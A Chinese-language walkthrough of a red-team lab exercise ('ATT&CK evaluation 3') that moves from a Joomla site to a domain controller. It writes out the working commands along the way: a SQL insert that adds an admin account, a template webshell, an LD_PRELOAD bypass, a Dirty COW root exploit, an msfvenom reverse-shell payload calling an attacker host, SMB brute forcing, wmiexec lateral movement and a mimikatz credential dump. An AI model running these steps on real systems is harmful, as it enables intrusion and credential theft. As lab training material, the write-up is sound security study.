ATT&CK紅隊評估三滲透過程
一、環境搭建
環境配置:
開啟虛擬機器映象為掛起狀態,第一時間進行快照,部分服務未做自啟,重啟後無法自動執行。
掛起狀態,賬號已預設登陸,centos為出網機,第一次執行,需重新獲取橋接模式網絡卡ip。
除重新獲取ip,不建議進行任何虛擬機器操作。
參考虛擬機器網路配置,新增新的網路,該網路作為內部網路。
注:名稱及網段必須符合上述圖片,進行了固定ip配置。
描述:
目標:域控中存在一份重要檔案。
本次環境為黑盒測試,不提供虛擬機器賬號密碼。
裝置資訊:
web-centos:
雙網絡卡:橋接+VMnet2
web1-ubantu:
單網絡卡:VMnet2
Windows server 2008:
單網絡卡:VMnet2
Windows server 2012:
單網絡卡:VMnet2
PC-Windows 7
單網絡卡:VMnet2
目標資訊:
網站主頁 http://192.168.1.110/
二、WEB滲透
主頁資訊,注意到地址連線處是PHP網站
改變地址大小寫,報錯發現系統是Ubuntu系統
瀏覽網站時找到了一個使用者登入頁面
再進行埠服務掃描
開放了埠22、80、3306
其中80埠上的服務是http,版本是Nginx 1.9.4,那麼該主機可能只是起到了一箇中轉的作用,真正的web伺服器並不是這一臺;
開放了3306埠,那麼如果能找到賬號密碼也許就可以遠端連線。
御劍目錄掃描:
robots頁面裡面存在一些敏感目錄
找到了後臺登入的地址:
在這裡可以發現它是使用的Joomla搭建的網站,在kali中有針對該CMS的掃描工具,可以掃描一下。
(注:若沒有的話可以再github上下載安裝)
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl --url http://192.168.1.100
===========================================================================
確定了版本型號是 3.9.12(該版本存在修改模板getshell的方法)
這裡是發現了一個配置檔案的敏感目錄,裡面找到了連線mysql資料庫的賬號密碼
嘗試遠端連線找到後臺登入的賬號密碼
連線成功,這裡雖然找到了管理員的賬號密碼,但是密碼是被加密的,而加密方式也並不知道(其實一般的網站後臺賬號的加密方式是MD5,這種的就可以直接將“123456”進行加密把他的替換掉,就可以登陸了,前提是要備份一下他原先的密碼;但是這種就不能使用這種方式了)
另一種方式,直接新增新的管理員賬戶(根據joomla官方文件 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn、如何回覆或重置管理員密碼,可以新增一個管理員賬戶進去方便我們操作)
1 INSERT INTO `am2zu_users`
2 (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
3 VALUES ('Administrator2', 'admin2',
4 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
5 INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
6 VALUES (LAST_INSERT_ID(),'8');
這裡就添加了一個admin2/secret超級管理員賬戶(後臺管理介面)
然後Extensions->Templates->Templates->Beez3 Details and Files->New File 新建檔案 shell.php,寫入一句話木馬。
儲存後蟻劍連線http://x.x.x.x/templates/beez3/webshell.php
連線成功後執行終端命令,但是都返回ret=127
這裡可能是對系統執行函式做了限制,可以上傳一個phpinfo指令碼頁面檢視PHP的配置資訊
可以看到這裡禁用了一系列的函式
在GitHub上有一種方法可以進行免殺繞過
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上傳檔案bypass_diablefunc.php 和 bypass_diablefunc_x64.so到可讀寫執行的目錄下
執行方式:
http://192.168.1.109/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
這裡的outpath路徑在tmp下就可以,下一級目錄可以是任意的,即使是不存在的也可以
前面確定了系統是Linux系統,輸入ifconfig檢視IP地址,只有一個網絡卡,確定真實web伺服器為192.168.93.120,是一臺內網伺服器。結合前面蒐集到的資訊可以基本判斷出當前web伺服器是有兩臺構成,一臺在內網的真實伺服器,一臺是代理伺服器,Nginx反向代理;且web伺服器的系統是Ubuntu系統,核心版本較新,先不看提權。
在翻系統內的檔案的時候在tmp目錄下的mysql資料夾中找到了一個test.txt檔案,裡面存放著賬號密碼,應該是代理伺服器的,可以嘗試登入
登入後可以看到是有兩張網絡卡,說明這是一臺出網機,內網IP是192.168.93.100,且當前賬戶的許可權並不高。
三、內網滲透
###############################################################################
先整理一下前面獲取到的資源:
1、webshell(http://192.168.1.109/templates/beez3/webshell.php 密碼:shell 無執行命令的許可權)
2、出網機的控制權限(非root,wwwuser/wwwuser_123Aqx)
3、mysql賬戶(testuser/cvcvgjASD!@)
4、網站後臺賬戶(admin2/secret)
5、LD_PRELOAD繞過,執行命令
(http://192.168.1.109/templates/beez3/bypass_disablefunc.php?cmd=cat+/proc/version&outpath=/tmp/fgasdfgsagsadhj&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so)
###############################################################################
在內網進行橫向移動的前提是需要一臺跳板機,所以需要獲取到這臺出網機的完全控制權限,前面收集到的資訊中,該系統的系統核心版本在髒牛的提權範圍內,可以進行提權。
髒牛影響範圍:
Centos7 /RHEL73.10.0-327.36.3.el7
Cetnos6/RHEL62.6.32-642.6.2.el6
Ubuntu16.104.8.0-26.28
Ubuntu16.044.4.0-45.66
Ubuntu14.043.13.0-100.147
Debian83.16.36-1+deb8u2
Debian73.2.82-1
提權:
上傳dirty.c檔案到出網機內
執行命令gcc -pthread dirty.c -o dirty -lcrypt 命令編譯生成 dirty 可執行檔案(exp 下載地址:https://github.com/FireFart/dirtycow)
執行 ./dirty password 提權
此時就添加了一個使用者名稱為firefart,密碼為admin的管理員賬戶。ssh遠端連線成功,許可權為最高階
獲得完全的控制權限之後需要設定代理進入內網,藉助MSF生成木馬控制主機,再借助socks4a將內網流量代理出來
派生MSF會話:
1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf
將這個後門檔案上傳到控制的出網伺服器上,這裡要注意檔案的許可權,必須要能執行
在msf上設定監聽模組,進行監聽:
1 use exploit/multi/handler //設定監聽模組
2 set lhost 192.168.1.114
3 set payload linux/x86/meterpreter/reverse_tcp //設定監聽payload
4 set lhost 192.168.1.114
5 run
之後再執行後門檔案,獲得控制會話
前面我們判斷出內網的ip段是192.168.93.0/24,所以要先新增路由,探測內網中存活的主機。
探測內網存活主機
經過探測發現了有三臺主機存活,如下:
192.168.93.10 Windows sever 2012 R2
192.168.93.20 Windows server 2008 sp2
192.168.93.30 Windows 7 sp1
可以嘗試爆破一下主機的本地管理員密碼:
1 use auxiliary/scanner/smb/smb_login
2 set rhosts 192.168.93.10
3 set SMBUSER administrator
4 set PASS_FILE /root/tool/TopDevPwd.txt
5 run
這裡爆破出了08主機和win7主機的密碼:123qwe!ASD
現在知道了兩臺主機的賬號密碼,利用socks4a代理,配合ProxyChains來控制內網主機。
配置proxychains代理鏈的配置檔案/etc/proxychains.conf
之後可以利用wmi來控制主機,進行操作(wmi 出現在所有的windows作業系統中,由一組強大的工具集合組成,用於管理本地或遠端的windows系統。攻擊者使用wmi攻擊時windows系統預設不會在日誌中記錄這些操作,可以做到無日誌、攻擊指令碼無需寫入到磁碟,增加了隱蔽性。下載地址
https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)
執行命令:
proxychains python3 wmiexec.py -debug 'administrator:[email protected]'
即可控制主機
先檢視一下他的網絡卡資訊
可以瞭解到,內網中是存在域控的,也是DNS伺服器192.168.93.10,至此基本能夠確定內網拓撲了:一臺centos做了Nginx反向代理了一個Web服務,且擁有兩張網絡卡;Web服務部署在一臺Ubuntu伺服器上,擁有一張網絡卡;一臺域控伺服器server 2012,;一臺內網PC主機win7;一臺server 2008 伺服器。表格如下:
(反向代理伺服器位於使用者與目標伺服器之間,但是對於使用者而言,反向代理伺服器就相當於目標伺服器,即使用者直接訪問反向代理伺服器就可以獲得目標伺服器的資源。反向代理的工作原理是,代理伺服器來接受客戶端的網路訪問連線請求,然後伺服器將請求有策略的轉發給網路中實際工作的業務伺服器,並將從業務伺服器處理的結果,返回給網路上發起連線請求的客戶端。反向代理優點:1、提高了內部伺服器的安;2、加快了對內部伺服器的訪問速度;2、節約了有限的IP資源)
tasklist /V檢視系統程序,可以發現有TEST域程序,那麼就可以嘗試抓取密碼。
mimikatz抓取域控密碼
kali 使用 smbclient 通過代理連線 windows server 2008 上傳 mimikatz。
proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
先上傳mimikatz工具
然後利用wmiexec.py執行工具抓取密碼
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
至此就已經獲取了所有主機的密碼
IPC遠端連線
IPC$(Internet Process Connection)是共享“命名管道”的資源,它是為了讓程序間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用。利用IPC$連線者可以與目標主機建立一個連線,得到目標主機上的目錄結構、使用者列表等資訊。
利用條件:
1、管理員開啟了預設共享
2、139或445埠開放
利用wmi連線08伺服器,然後利用IPC連線域控伺服器,讀取內部重要檔案
IPC連線
尋找重要檔案
讀取檔案
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
最終成果:
1、webshell(http://192.168.1.109/templates/beez3/webshell.php 密碼:shell 無執行命令的許可權)
2、出網機的控制權限(非root,wwwuser/wwwuser_123Aqx)(root許可權:firefart/admin)
3、mysql賬戶(testuser/cvcvgjASD!@)
4、網站後臺賬戶(admin2/secret)
5、LD_PRELOAD繞過,執行命令
(http://192.168.1.109/templates/beez3/bypass_disablefunc.php?cmd=cat+/proc/version&outpath=/tmp/fgasdfgsagsadhj&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so) 注:這裡是直接對web服務進行控制,並不是出網機
6、域控伺服器賬號密碼:administrator/zxcASDqw123!!
7、Windows server 2008 伺服器賬號密碼:administrator/123qwe!ASD
8、PC主機Windows 7賬號密碼:administrator/123qwe!ASD
注:
新增代理proxychains+socks4a,配合將內網流量代理出來
利用wmi控制Windows server 2008主機proxychains python3 wmiexec.py -debug 'administrator:[email protected]',同樣的方法也可以控制192.168.93.30主機;在知道了域控的密碼之後也可以用這種方式進行控制。
在Windows server 2008上利用wmi+IPC讀取域控中的檔案